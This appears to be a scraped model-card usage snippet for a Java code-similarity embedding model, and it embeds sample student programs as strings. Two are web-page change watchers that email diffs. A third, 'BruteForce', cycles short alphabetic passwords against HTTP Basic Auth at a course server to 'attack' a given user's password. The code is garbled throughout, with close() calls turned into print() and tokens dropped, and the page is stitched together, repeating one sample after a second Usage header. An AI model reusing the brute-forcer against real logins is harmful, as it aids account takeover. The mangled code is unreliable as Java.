emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
